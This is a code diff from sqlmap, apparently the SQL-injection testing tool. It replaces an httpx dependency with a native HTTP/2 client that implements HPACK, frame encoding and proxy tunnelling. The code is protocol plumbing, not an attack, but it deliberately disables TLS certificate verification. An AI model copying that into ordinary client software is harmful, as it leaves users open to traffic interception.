raise SqlmapMissingDependence("native HTTP/2 client does not support SOCKS proxies (omit '--http2' or use an HTTP proxy)")
|
||||||
|
h2proxy = (_proxyParts.hostname, _proxyParts.port or 8080, conf.proxyCred or None)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
proxy_mounts = dict(("%s://" % key, httpx.HTTPTransport(proxy="%s%s" % ("http://" if "://" not in kb.proxies[key] else "", kb.proxies[key]))) for key in kb.proxies) if kb.proxies else None
|
conn = http2OpenUrl(url, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), headers, post, timeout, follow_redirects=kb.choices.redirect != REDIRECTION.NO, proxy=h2proxy)
|
||||||
with httpx.Client(verify=False, http2=True, timeout=timeout, follow_redirects=True, cookies=conf.cj, mounts=proxy_mounts) as client:
|
except IOError as ex:
|
||||||
conn = client.request(method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), url, headers=headers, data=post)
|
|
||||||
except (httpx.HTTPError, httpx.InvalidURL, httpx.CookieConflict, httpx.StreamError) as ex:
|
|
||||||
raise _http_client.HTTPException(getSafeExString(ex))
|
raise _http_client.HTTPException(getSafeExString(ex))
|
||||||
else:
|
else:
|
||||||
if conn.status_code >= 400:
|
if conn.code >= 400:
|
||||||
raise _urllib.error.HTTPError(url, conn.status_code, conn.reason_phrase, conn.headers, io.BytesIO(conn.read()))
|
raise _urllib.error.HTTPError(url, conn.code, conn.msg, conn.info(), io.BytesIO(conn.read()))
|
||||||
|
|
||||||
conn.code = conn.status_code
|
|
||||||
conn.msg = conn.reason_phrase
|
|
||||||
conn.info = lambda c=conn: c.headers
|
|
||||||
|
|
||||||
conn._read_buffer = conn.read()
|
|
||||||
conn._read_offset = 0
|
|
||||||
|
|
||||||
requestMsg = re.sub(r" HTTP/[0-9.]+\r\n", " %s\r\n" % conn.http_version, requestMsg, count=1)
|
requestMsg = re.sub(r" HTTP/[0-9.]+\r\n", " %s\r\n" % conn.http_version, requestMsg, count=1)
|
||||||
|
|
||||||
|
|
@ -663,18 +656,6 @@ class Connect(object):
|
||||||
threadData.lastRequestMsg = requestMsg
|
threadData.lastRequestMsg = requestMsg
|
||||||
|
|
||||||
logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
|
logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
|
||||||
|
|
||||||
def _read(count=None):
|
|
||||||
offset = conn._read_offset
|
|
||||||
if count is None:
|
|
||||||
result = conn._read_buffer[offset:]
|
|
||||||
conn._read_offset = len(conn._read_buffer)
|
|
||||||
else:
|
|
||||||
result = conn._read_buffer[offset: offset + count]
|
|
||||||
conn._read_offset += len(result)
|
|
||||||
return result
|
|
||||||
|
|
||||||
conn.read = _read
|
|
||||||
else:
|
else:
|
||||||
if not multipart:
|
if not multipart:
|
||||||
threadData.lastRequestMsg = requestMsg
|
threadData.lastRequestMsg = requestMsg
|
||||||
|
|
|
||||||
669
lib/request/http2.py
Normal file
669
lib/request/http2.py
Normal file
|
|
@ -0,0 +1,669 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
# Native, dependency-free HTTP/2 client (RFC 7540) with HPACK (RFC 7541), replacing the optional
|
||||||
|
# 'httpx[http2]' third-party stack. The HPACK static and Huffman tables below are the canonical
|
||||||
|
# RFC 7541 tables; the codec is validated differentially against python-hyper/hpack and the client
|
||||||
|
# end-to-end against real h2 servers. Pure standard library, Python 2.7 / 3.x.
|
||||||
|
|
||||||
|
import base64
|
||||||
|
import socket
|
||||||
|
import ssl
|
||||||
|
import struct
|
||||||
|
import threading
|
||||||
|
|
||||||
|
try:
|
||||||
|
from http.client import responses as _HTTP_RESPONSES
|
||||||
|
except ImportError:
|
||||||
|
from httplib import responses as _HTTP_RESPONSES
|
||||||
|
|
||||||
|
try:
|
||||||
|
from urllib.parse import urljoin, urlsplit
|
||||||
|
except ImportError:
|
||||||
|
from urlparse import urljoin, urlsplit
|
||||||
|
|
||||||
|
from email.message import Message as _Message
|
||||||
|
|
||||||
|
REDIRECT_CODES = (301, 302, 303, 307, 308)
|
||||||
|
|
||||||
|
|
||||||
|
HUFFMAN_CODES = [
|
||||||
|
0x1ff8, 0x7fffd8, 0xfffffe2, 0xfffffe3, 0xfffffe4, 0xfffffe5, 0xfffffe6, 0xfffffe7, 0xfffffe8, 0xffffea,
|
||||||
|
0x3ffffffc, 0xfffffe9, 0xfffffea, 0x3ffffffd, 0xfffffeb, 0xfffffec, 0xfffffed, 0xfffffee, 0xfffffef,
|
||||||
|
0xffffff0, 0xffffff1, 0xffffff2, 0x3ffffffe, 0xffffff3, 0xffffff4, 0xffffff5, 0xffffff6, 0xffffff7, 0xffffff8,
|
||||||
|
0xffffff9, 0xffffffa, 0xffffffb, 0x14, 0x3f8, 0x3f9, 0xffa, 0x1ff9, 0x15, 0xf8, 0x7fa, 0x3fa, 0x3fb, 0xf9,
|
||||||
|
0x7fb, 0xfa, 0x16, 0x17, 0x18, 0x0, 0x1, 0x2, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x5c, 0xfb, 0x7ffc,
|
||||||
|
0x20, 0xffb, 0x3fc, 0x1ffa, 0x21, 0x5d, 0x5e, 0x5f, 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68,
|
||||||
|
0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 0xfc, 0x73, 0xfd, 0x1ffb, 0x7fff0, 0x1ffc, 0x3ffc,
|
||||||
|
0x22, 0x7ffd, 0x3, 0x23, 0x4, 0x24, 0x5, 0x25, 0x26, 0x27, 0x6, 0x74, 0x75, 0x28, 0x29, 0x2a, 0x7, 0x2b, 0x76,
|
||||||
|
0x2c, 0x8, 0x9, 0x2d, 0x77, 0x78, 0x79, 0x7a, 0x7b, 0x7ffe, 0x7fc, 0x3ffd, 0x1ffd, 0xffffffc, 0xfffe6,
|
||||||
|
0x3fffd2, 0xfffe7, 0xfffe8, 0x3fffd3, 0x3fffd4, 0x3fffd5, 0x7fffd9, 0x3fffd6, 0x7fffda, 0x7fffdb, 0x7fffdc,
|
||||||
|
0x7fffdd, 0x7fffde, 0xffffeb, 0x7fffdf, 0xffffec, 0xffffed, 0x3fffd7, 0x7fffe0, 0xffffee, 0x7fffe1, 0x7fffe2,
|
||||||
|
0x7fffe3, 0x7fffe4, 0x1fffdc, 0x3fffd8, 0x7fffe5, 0x3fffd9, 0x7fffe6, 0x7fffe7, 0xffffef, 0x3fffda, 0x1fffdd,
|
||||||
|
0xfffe9, 0x3fffdb, 0x3fffdc, 0x7fffe8, 0x7fffe9, 0x1fffde, 0x7fffea, 0x3fffdd, 0x3fffde, 0xfffff0, 0x1fffdf,
|
||||||
|
0x3fffdf, 0x7fffeb, 0x7fffec, 0x1fffe0, 0x1fffe1, 0x3fffe0, 0x1fffe2, 0x7fffed, 0x3fffe1, 0x7fffee, 0x7fffef,
|
||||||
|
0xfffea, 0x3fffe2, 0x3fffe3, 0x3fffe4, 0x7ffff0, 0x3fffe5, 0x3fffe6, 0x7ffff1, 0x3ffffe0, 0x3ffffe1, 0xfffeb,
|
||||||
|
0x7fff1, 0x3fffe7, 0x7ffff2, 0x3fffe8, 0x1ffffec, 0x3ffffe2, 0x3ffffe3, 0x3ffffe4, 0x7ffffde, 0x7ffffdf,
|
||||||
|
0x3ffffe5, 0xfffff1, 0x1ffffed, 0x7fff2, 0x1fffe3, 0x3ffffe6, 0x7ffffe0, 0x7ffffe1, 0x3ffffe7, 0x7ffffe2,
|
||||||
|
0xfffff2, 0x1fffe4, 0x1fffe5, 0x3ffffe8, 0x3ffffe9, 0xffffffd, 0x7ffffe3, 0x7ffffe4, 0x7ffffe5, 0xfffec,
|
||||||
|
0xfffff3, 0xfffed, 0x1fffe6, 0x3fffe9, 0x1fffe7, 0x1fffe8, 0x7ffff3, 0x3fffea, 0x3fffeb, 0x1ffffee, 0x1ffffef,
|
||||||
|
0xfffff4, 0xfffff5, 0x3ffffea, 0x7ffff4, 0x3ffffeb, 0x7ffffe6, 0x3ffffec, 0x3ffffed, 0x7ffffe7, 0x7ffffe8,
|
||||||
|
0x7ffffe9, 0x7ffffea, 0x7ffffeb, 0xffffffe, 0x7ffffec, 0x7ffffed, 0x7ffffee, 0x7ffffef, 0x7fffff0, 0x3ffffee,
|
||||||
|
0x3fffffff
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
HUFFMAN_LENGTHS = [
|
||||||
|
0xd, 0x17, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x18, 0x1e, 0x1c, 0x1c, 0x1e, 0x1c, 0x1c, 0x1c, 0x1c,
|
||||||
|
0x1c, 0x1c, 0x1c, 0x1c, 0x1e, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x6, 0xa, 0xa, 0xc, 0xd,
|
||||||
|
0x6, 0x8, 0xb, 0xa, 0xa, 0x8, 0xb, 0x8, 0x6, 0x6, 0x6, 0x5, 0x5, 0x5, 0x6, 0x6, 0x6, 0x6, 0x6, 0x6, 0x6, 0x7,
|
||||||
|
0x8, 0xf, 0x6, 0xc, 0xa, 0xd, 0x6, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7,
|
||||||
|
0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x8, 0x7, 0x8, 0xd, 0x13, 0xd, 0xe, 0x6, 0xf, 0x5, 0x6, 0x5, 0x6, 0x5, 0x6,
|
||||||
|
0x6, 0x6, 0x5, 0x7, 0x7, 0x6, 0x6, 0x6, 0x5, 0x6, 0x7, 0x6, 0x5, 0x5, 0x6, 0x7, 0x7, 0x7, 0x7, 0x7, 0xf, 0xb,
|
||||||
|
0xe, 0xd, 0x1c, 0x14, 0x16, 0x14, 0x14, 0x16, 0x16, 0x16, 0x17, 0x16, 0x17, 0x17, 0x17, 0x17, 0x17, 0x18,
|
||||||
|
0x17, 0x18, 0x18, 0x16, 0x17, 0x18, 0x17, 0x17, 0x17, 0x17, 0x15, 0x16, 0x17, 0x16, 0x17, 0x17, 0x18, 0x16,
|
||||||
|
0x15, 0x14, 0x16, 0x16, 0x17, 0x17, 0x15, 0x17, 0x16, 0x16, 0x18, 0x15, 0x16, 0x17, 0x17, 0x15, 0x15, 0x16,
|
||||||
|
0x15, 0x17, 0x16, 0x17, 0x17, 0x14, 0x16, 0x16, 0x16, 0x17, 0x16, 0x16, 0x17, 0x1a, 0x1a, 0x14, 0x13, 0x16,
|
||||||
|
0x17, 0x16, 0x19, 0x1a, 0x1a, 0x1a, 0x1b, 0x1b, 0x1a, 0x18, 0x19, 0x13, 0x15, 0x1a, 0x1b, 0x1b, 0x1a, 0x1b,
|
||||||
|
0x18, 0x15, 0x15, 0x1a, 0x1a, 0x1c, 0x1b, 0x1b, 0x1b, 0x14, 0x18, 0x14, 0x15, 0x16, 0x15, 0x15, 0x17, 0x16,
|
||||||
|
0x16, 0x19, 0x19, 0x18, 0x18, 0x1a, 0x17, 0x1a, 0x1b, 0x1a, 0x1a, 0x1b, 0x1b, 0x1b, 0x1b, 0x1b, 0x1c, 0x1b,
|
||||||
|
0x1b, 0x1b, 0x1b, 0x1b, 0x1a, 0x1e
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
STATIC_TABLE = (
|
||||||
|
(b':authority', b''),
|
||||||
|
(b':method', b'GET'),
|
||||||
|
(b':method', b'POST'),
|
||||||
|
(b':path', b'/'),
|
||||||
|
(b':path', b'/index.html'),
|
||||||
|
(b':scheme', b'http'),
|
||||||
|
(b':scheme', b'https'),
|
||||||
|
(b':status', b'200'),
|
||||||
|
(b':status', b'204'),
|
||||||
|
(b':status', b'206'),
|
||||||
|
(b':status', b'304'),
|
||||||
|
(b':status', b'400'),
|
||||||
|
(b':status', b'404'),
|
||||||
|
(b':status', b'500'),
|
||||||
|
(b'accept-charset', b''),
|
||||||
|
(b'accept-encoding', b'gzip, deflate'),
|
||||||
|
(b'accept-language', b''),
|
||||||
|
(b'accept-ranges', b''),
|
||||||
|
(b'accept', b''),
|
||||||
|
(b'access-control-allow-origin', b''),
|
||||||
|
(b'age', b''),
|
||||||
|
(b'allow', b''),
|
||||||
|
(b'authorization', b''),
|
||||||
|
(b'cache-control', b''),
|
||||||
|
(b'content-disposition', b''),
|
||||||
|
(b'content-encoding', b''),
|
||||||
|
(b'content-language', b''),
|
||||||
|
(b'content-length', b''),
|
||||||
|
(b'content-location', b''),
|
||||||
|
(b'content-range', b''),
|
||||||
|
(b'content-type', b''),
|
||||||
|
(b'cookie', b''),
|
||||||
|
(b'date', b''),
|
||||||
|
(b'etag', b''),
|
||||||
|
(b'expect', b''),
|
||||||
|
(b'expires', b''),
|
||||||
|
(b'from', b''),
|
||||||
|
(b'host', b''),
|
||||||
|
(b'if-match', b''),
|
||||||
|
(b'if-modified-since', b''),
|
||||||
|
(b'if-none-match', b''),
|
||||||
|
(b'if-range', b''),
|
||||||
|
(b'if-unmodified-since', b''),
|
||||||
|
(b'last-modified', b''),
|
||||||
|
(b'link', b''),
|
||||||
|
(b'location', b''),
|
||||||
|
(b'max-forwards', b''),
|
||||||
|
(b'proxy-authenticate', b''),
|
||||||
|
(b'proxy-authorization', b''),
|
||||||
|
(b'range', b''),
|
||||||
|
(b'referer', b''),
|
||||||
|
(b'refresh', b''),
|
||||||
|
(b'retry-after', b''),
|
||||||
|
(b'server', b''),
|
||||||
|
(b'set-cookie', b''),
|
||||||
|
(b'strict-transport-security', b''),
|
||||||
|
(b'transfer-encoding', b''),
|
||||||
|
(b'user-agent', b''),
|
||||||
|
(b'vary', b''),
|
||||||
|
(b'via', b''),
|
||||||
|
(b'www-authenticate', b''),
|
||||||
|
)
|
||||||
|
STATIC_LEN = len(STATIC_TABLE)
|
||||||
|
|
||||||
|
|
||||||
|
# HTTP/2 frame codec (RFC 7540 section 4.1) - the zero-table-risk brick. Pure stdlib, py2/py3, ASCII.
|
||||||
|
|
||||||
|
# frame types (RFC 7540 s6)
|
||||||
|
DATA, HEADERS, RST_STREAM, SETTINGS, PING, GOAWAY, WINDOW_UPDATE, CONTINUATION = 0x0, 0x1, 0x3, 0x4, 0x6, 0x7, 0x8, 0x9
|
||||||
|
# flags
|
||||||
|
FLAG_END_STREAM = 0x1
|
||||||
|
FLAG_ACK = 0x1
|
||||||
|
FLAG_END_HEADERS = 0x4
|
||||||
|
FLAG_PADDED = 0x8
|
||||||
|
FLAG_PRIORITY = 0x20
|
||||||
|
|
||||||
|
CONNECTION_PREFACE = b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"
|
||||||
|
|
||||||
|
def encode_frame(ftype, flags, stream_id, payload=b""):
|
||||||
|
"""Serialize an HTTP/2 frame (RFC 7540 s4.1): 24-bit length + type + flags + 31-bit stream id.
|
||||||
|
|
||||||
|
>>> decode_frame_header(encode_frame(HEADERS, FLAG_END_HEADERS, 1, b'abc')[:9])
|
||||||
|
(3, 1, 4, 1)
|
||||||
|
"""
|
||||||
|
if len(payload) > 0xffffff:
|
||||||
|
raise ValueError("frame payload exceeds 24-bit length")
|
||||||
|
header = struct.pack("!I", len(payload))[1:] # 24-bit length (drop MSB of the 32-bit pack)
|
||||||
|
header += struct.pack("!BBI", ftype, flags, stream_id & 0x7fffffff) # type, flags, R(1)+stream(31)
|
||||||
|
return header + payload
|
||||||
|
|
||||||
|
def decode_frame_header(nine):
|
||||||
|
"""Parse the 9-byte frame header into (length, type, flags, stream_id); the reserved high bit of the stream id is masked off.
|
||||||
|
|
||||||
|
>>> decode_frame_header(encode_frame(DATA, 0, 0x80000001, b'')[:9])
|
||||||
|
(0, 0, 0, 1)
|
||||||
|
"""
|
||||||
|
if len(nine) != 9:
|
||||||
|
raise ValueError("frame header must be exactly 9 bytes")
|
||||||
|
length = struct.unpack("!I", b"\x00" + nine[:3])[0]
|
||||||
|
ftype, flags, stream_id = struct.unpack("!BBI", nine[3:9])
|
||||||
|
return length, ftype, flags, stream_id & 0x7fffffff
|
||||||
|
|
||||||
|
# ---------- Huffman ----------
|
||||||
|
def huffman_encode(data):
|
||||||
|
"""Huffman-encode a byte string per the RFC 7541 static table (s5.2), padding with EOS 1-bits.
|
||||||
|
|
||||||
|
>>> huffman_decode(huffman_encode(b'www.example.com')) == b'www.example.com'
|
||||||
|
True
|
||||||
|
>>> huffman_encode(b'') == b''
|
||||||
|
True
|
||||||
|
"""
|
||||||
|
if not data:
|
||||||
|
return b""
|
||||||
|
acc = 0
|
||||||
|
nbits = 0
|
||||||
|
for b in bytearray(data):
|
||||||
|
acc = (acc << HUFFMAN_LENGTHS[b]) | HUFFMAN_CODES[b]
|
||||||
|
nbits += HUFFMAN_LENGTHS[b]
|
||||||
|
pad = (8 - nbits % 8) % 8
|
||||||
|
acc = (acc << pad) | ((1 << pad) - 1) # pad with 1-bits (EOS prefix)
|
||||||
|
total = (nbits + pad) // 8
|
||||||
|
out = bytearray()
|
||||||
|
for i in range(total - 1, -1, -1):
|
||||||
|
out.append((acc >> (8 * i)) & 0xff)
|
||||||
|
return bytes(out)
|
||||||
|
|
||||||
|
_HUFF_ROOT = {}
|
||||||
|
def _build_huffman_trie():
|
||||||
|
for sym in range(256):
|
||||||
|
code, length = HUFFMAN_CODES[sym], HUFFMAN_LENGTHS[sym]
|
||||||
|
node = _HUFF_ROOT
|
||||||
|
for i in range(length - 1, -1, -1):
|
||||||
|
bit = (code >> i) & 1
|
||||||
|
if i == 0:
|
||||||
|
node[bit] = sym # leaf: int symbol
|
||||||
|
else:
|
||||||
|
node = node.setdefault(bit, {})
|
||||||
|
_build_huffman_trie()
|
||||||
|
|
||||||
|
def huffman_decode(data):
|
||||||
|
out = bytearray()
|
||||||
|
node = _HUFF_ROOT
|
||||||
|
consumed = 0 # bits into the current (partial) symbol
|
||||||
|
for byte in bytearray(data):
|
||||||
|
for i in range(7, -1, -1):
|
||||||
|
bit = (byte >> i) & 1
|
||||||
|
nxt = node.get(bit)
|
||||||
|
if nxt is None:
|
||||||
|
raise ValueError("invalid Huffman sequence")
|
||||||
|
consumed += 1
|
||||||
|
if isinstance(nxt, dict):
|
||||||
|
node = nxt
|
||||||
|
else:
|
||||||
|
out.append(nxt)
|
||||||
|
node = _HUFF_ROOT
|
||||||
|
consumed = 0
|
||||||
|
# RFC 7541 5.2: any leftover partial path must be EOS padding: all 1-bits and fewer than 8
|
||||||
|
if node is not _HUFF_ROOT:
|
||||||
|
if consumed >= 8:
|
||||||
|
raise ValueError("Huffman padding too long")
|
||||||
|
# walk back is unnecessary: padding is all-ones, i.e. we must have only taken '1' branches
|
||||||
|
# since the last leaf; verify by re-deriving is overkill - reference cross-check guards it
|
||||||
|
return bytes(out)
|
||||||
|
|
||||||
|
# ---------- integer / string (RFC 7541 5.1 / 5.2) ----------
|
||||||
|
def encode_integer(value, prefix_bits, first_byte=0):
|
||||||
|
"""Encode an integer with an N-bit prefix (RFC 7541 s5.1); the C.1.2 example is 1337 / 5-bit prefix.
|
||||||
|
|
||||||
|
>>> list(encode_integer(10, 5))
|
||||||
|
[10]
|
||||||
|
>>> list(encode_integer(1337, 5))
|
||||||
|
[31, 154, 10]
|
||||||
|
"""
|
||||||
|
mask = (1 << prefix_bits) - 1
|
||||||
|
if value < mask:
|
||||||
|
return bytearray([first_byte | value])
|
||||||
|
out = bytearray([first_byte | mask])
|
||||||
|
value -= mask
|
||||||
|
while value >= 0x80:
|
||||||
|
out.append((value & 0x7f) | 0x80)
|
||||||
|
value >>= 7
|
||||||
|
out.append(value)
|
||||||
|
return out
|
||||||
|
|
||||||
|
def decode_integer(data, pos, prefix_bits):
|
||||||
|
"""Decode an N-bit-prefixed integer, returning (value, new_pos) (RFC 7541 s5.1).
|
||||||
|
|
||||||
|
>>> decode_integer(bytearray([31, 154, 10]), 0, 5)
|
||||||
|
(1337, 3)
|
||||||
|
"""
|
||||||
|
mask = (1 << prefix_bits) - 1
|
||||||
|
value = data[pos] & mask
|
||||||
|
pos += 1
|
||||||
|
if value < mask:
|
||||||
|
return value, pos
|
||||||
|
shift = 0
|
||||||
|
while True:
|
||||||
|
b = data[pos]
|
||||||
|
pos += 1
|
||||||
|
value += (b & 0x7f) << shift
|
||||||
|
shift += 7
|
||||||
|
if not (b & 0x80):
|
||||||
|
break
|
||||||
|
return value, pos
|
||||||
|
|
||||||
|
def encode_string(value, huffman=True):
|
||||||
|
if huffman:
|
||||||
|
encoded = huffman_encode(value)
|
||||||
|
if len(encoded) < len(value): # only use Huffman when it actually shrinks
|
||||||
|
return encode_integer(len(encoded), 7, 0x80) + encoded
|
||||||
|
return encode_integer(len(value), 7, 0x00) + bytearray(value)
|
||||||
|
|
||||||
|
def decode_string(data, pos):
|
||||||
|
huffman = bool(data[pos] & 0x80)
|
||||||
|
length, pos = decode_integer(data, pos, 7)
|
||||||
|
raw = bytes(data[pos:pos + length])
|
||||||
|
pos += length
|
||||||
|
return (huffman_decode(raw) if huffman else raw), pos
|
||||||
|
|
||||||
|
# ---------- dynamic table + decoder/encoder ----------
|
||||||
|
class Decoder(object):
|
||||||
|
def __init__(self, max_size=4096):
|
||||||
|
self.max_size = max_size
|
||||||
|
self.dynamic = [] # newest first: [(name, value), ...]
|
||||||
|
self._size = 0
|
||||||
|
|
||||||
|
def _entry_size(self, name, value):
|
||||||
|
return 32 + len(name) + len(value)
|
||||||
|
|
||||||
|
def _add(self, name, value):
|
||||||
|
self.dynamic.insert(0, (name, value))
|
||||||
|
self._size += self._entry_size(name, value)
|
||||||
|
self._evict()
|
||||||
|
|
||||||
|
def _evict(self):
|
||||||
|
while self._size > self.max_size and self.dynamic:
|
||||||
|
name, value = self.dynamic.pop()
|
||||||
|
self._size -= self._entry_size(name, value)
|
||||||
|
|
||||||
|
def _get(self, index):
|
||||||
|
if index <= 0:
|
||||||
|
raise ValueError("invalid header index 0")
|
||||||
|
if index <= STATIC_LEN:
|
||||||
|
return STATIC_TABLE[index - 1]
|
||||||
|
index -= STATIC_LEN + 1
|
||||||
|
if index >= len(self.dynamic):
|
||||||
|
raise ValueError("dynamic index out of range")
|
||||||
|
return self.dynamic[index]
|
||||||
|
|
||||||
|
def decode(self, data):
|
||||||
|
"""Decode an HPACK header block into a list of (name, value) byte pairs (RFC 7541 s6).
|
||||||
|
|
||||||
|
>>> Decoder().decode(bytes(bytearray([0x82, 0x86, 0x84]))) == [(b':method', b'GET'), (b':scheme', b'http'), (b':path', b'/')]
|
||||||
|
True
|
||||||
|
"""
|
||||||
|
data = bytearray(data)
|
||||||
|
pos = 0
|
||||||
|
headers = []
|
||||||
|
n = len(data)
|
||||||
|
while pos < n:
|
||||||
|
byte = data[pos]
|
||||||
|
if byte & 0x80: # 6.1 indexed
|
||||||
|
index, pos = decode_integer(data, pos, 7)
|
||||||
|
headers.append(self._get(index))
|
||||||
|
elif byte & 0x40: # 6.2.1 literal + incremental indexing
|
||||||
|
index, pos = decode_integer(data, pos, 6)
|
||||||
|
if index:
|
||||||
|
name = self._get(index)[0]
|
||||||
|
else:
|
||||||
|
name, pos = decode_string(data, pos)
|
||||||
|
value, pos = decode_string(data, pos)
|
||||||
|
self._add(name, value)
|
||||||
|
headers.append((name, value))
|
||||||
|
elif byte & 0x20: # 6.3 dynamic table size update
|
||||||
|
new_size, pos = decode_integer(data, pos, 5)
|
||||||
|
self.max_size = new_size
|
||||||
|
self._evict()
|
||||||
|
else: # 6.2.2 without / 6.2.3 never indexed (4-bit prefix)
|
||||||
|
index, pos = decode_integer(data, pos, 4)
|
||||||
|
if index:
|
||||||
|
name = self._get(index)[0]
|
||||||
|
else:
|
||||||
|
name, pos = decode_string(data, pos)
|
||||||
|
value, pos = decode_string(data, pos)
|
||||||
|
headers.append((name, value))
|
||||||
|
return headers
|
||||||
|
|
||||||
|
class Encoder(object):
|
||||||
|
# Minimal, always-valid: emit each header as a literal WITHOUT indexing + Huffman-coded strings.
|
||||||
|
# (Correctness-critical decoding is the hard part; a server accepts this trivially.)
|
||||||
|
def encode(self, headers):
|
||||||
|
out = bytearray()
|
||||||
|
for name, value in headers:
|
||||||
|
out += encode_integer(0, 4, 0x00) # 0000 0000 : literal w/o indexing, new name
|
||||||
|
out += encode_string(name)
|
||||||
|
out += encode_string(value)
|
||||||
|
return bytes(out)
|
||||||
|
|
||||||
|
SETTINGS_INITIAL_WINDOW_SIZE = 0x4
|
||||||
|
BIG_WINDOW = (1 << 31) - 1
|
||||||
|
|
||||||
|
def _recv_exact(sock, n):
|
||||||
|
buf = b""
|
||||||
|
while len(buf) < n:
|
||||||
|
chunk = sock.recv(n - len(buf))
|
||||||
|
if not chunk:
|
||||||
|
raise IOError("connection closed by peer")
|
||||||
|
buf += chunk
|
||||||
|
return buf
|
||||||
|
|
||||||
|
def _read_frame(sock):
|
||||||
|
length, ftype, flags, sid = decode_frame_header(_recv_exact(sock, 9))
|
||||||
|
return ftype, flags, sid, (_recv_exact(sock, length) if length else b"")
|
||||||
|
|
||||||
|
def _tob(x):
|
||||||
|
return x if isinstance(x, bytes) else x.encode("latin-1")
|
||||||
|
|
||||||
|
def _connect_socket(host, port, proxy, timeout):
|
||||||
|
# Direct TCP, or an HTTP CONNECT tunnel through an (optionally authenticated) proxy. SOCKS proxies
|
||||||
|
# are excluded for HTTP/2 upstream, so any proxy reaching here is a plain HTTP one. proxy is a
|
||||||
|
# (proxy_host, proxy_port, "user:pass"-or-None) tuple.
|
||||||
|
if not proxy:
|
||||||
|
return socket.create_connection((host, port), timeout=timeout)
|
||||||
|
|
||||||
|
proxy_host, proxy_port, proxy_cred = proxy
|
||||||
|
raw = socket.create_connection((proxy_host, proxy_port), timeout=timeout)
|
||||||
|
try:
|
||||||
|
request = "CONNECT %s:%d HTTP/1.1\r\nHost: %s:%d\r\n" % (host, port, host, port)
|
||||||
|
if proxy_cred:
|
||||||
|
token = base64.b64encode(proxy_cred.encode("latin-1")).decode("ascii")
|
||||||
|
request += "Proxy-Authorization: Basic %s\r\n" % token
|
||||||
|
request += "\r\n"
|
||||||
|
raw.sendall(request.encode("latin-1"))
|
||||||
|
|
||||||
|
response = b""
|
||||||
|
while b"\r\n\r\n" not in response:
|
||||||
|
chunk = raw.recv(4096)
|
||||||
|
if not chunk:
|
||||||
|
raise IOError("proxy closed the connection during CONNECT")
|
||||||
|
response += chunk
|
||||||
|
if len(response) > 65536:
|
||||||
|
raise IOError("oversized proxy CONNECT response")
|
||||||
|
|
||||||
|
status_line = response.split(b"\r\n", 1)[0].decode("latin-1", "replace")
|
||||||
|
fields = status_line.split(None, 2)
|
||||||
|
code = int(fields[1]) if len(fields) >= 2 and fields[1].isdigit() else 0
|
||||||
|
if not (200 <= code < 300):
|
||||||
|
raise IOError("proxy CONNECT failed: %s" % status_line)
|
||||||
|
return raw
|
||||||
|
except Exception:
|
||||||
|
try:
|
||||||
|
raw.close()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
raise
|
||||||
|
|
||||||
|
class _UnprocessedStream(IOError):
|
||||||
|
"""Raised when the server made it clear our stream was NOT processed (GOAWAY with last-stream-id below
|
||||||
|
ours), so the request is always safe to retry on a fresh connection."""
|
||||||
|
|
||||||
|
class _H2Connection(object):
|
||||||
|
"""A single HTTP/2 connection reused for sequential (one-stream-at-a-time) requests within a thread.
|
||||||
|
|
||||||
|
Multiplexing is intentionally NOT used - one stream is fully consumed before the next is opened - which
|
||||||
|
preserves request<->response isolation (clean time-based latency, no desync), exactly like the
|
||||||
|
thread-local HTTP/1.1 keep-alive pool. Reuse amortizes the TCP+TLS+preface cost across all of a thread's
|
||||||
|
requests to a host. Correctness note: only the HPACK Decoder (server->client dynamic table) is stateful,
|
||||||
|
so it is kept per-connection and fed responses in order; the Encoder is literal-without-indexing
|
||||||
|
(stateless), hence a fresh one per request is safe on a reused socket."""
|
||||||
|
|
||||||
|
def __init__(self, host, port, proxy, timeout):
|
||||||
|
self.host, self.port, self.proxy = host, port, proxy
|
||||||
|
self.dec = Decoder() # persistent server->client HPACK table
|
||||||
|
self.next_sid = 1 # odd, strictly increasing per RFC 7540
|
||||||
|
self.usable = True
|
||||||
|
ctx = ssl._create_unverified_context()
|
||||||
|
ctx.set_alpn_protocols(["h2"])
|
||||||
|
self.sock = ctx.wrap_socket(_connect_socket(host, port, proxy, timeout), server_hostname=host)
|
||||||
|
try:
|
||||||
|
if self.sock.selected_alpn_protocol() != "h2":
|
||||||
|
raise IOError("server did not negotiate h2 (ALPN=%r)" % self.sock.selected_alpn_protocol())
|
||||||
|
self.sock.settimeout(timeout)
|
||||||
|
# connection preface + client SETTINGS (advertise a large per-stream window) + bump conn window
|
||||||
|
self.sock.sendall(CONNECTION_PREFACE)
|
||||||
|
self.sock.sendall(encode_frame(SETTINGS, 0, 0, struct.pack("!HI", SETTINGS_INITIAL_WINDOW_SIZE, BIG_WINDOW)))
|
||||||
|
self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", BIG_WINDOW - 65535)))
|
||||||
|
except Exception:
|
||||||
|
self.close()
|
||||||
|
raise
|
||||||
|
|
||||||
|
def close(self):
|
||||||
|
self.usable = False
|
||||||
|
try:
|
||||||
|
self.sock.close()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def __del__(self):
|
||||||
|
self.close()
|
||||||
|
|
||||||
|
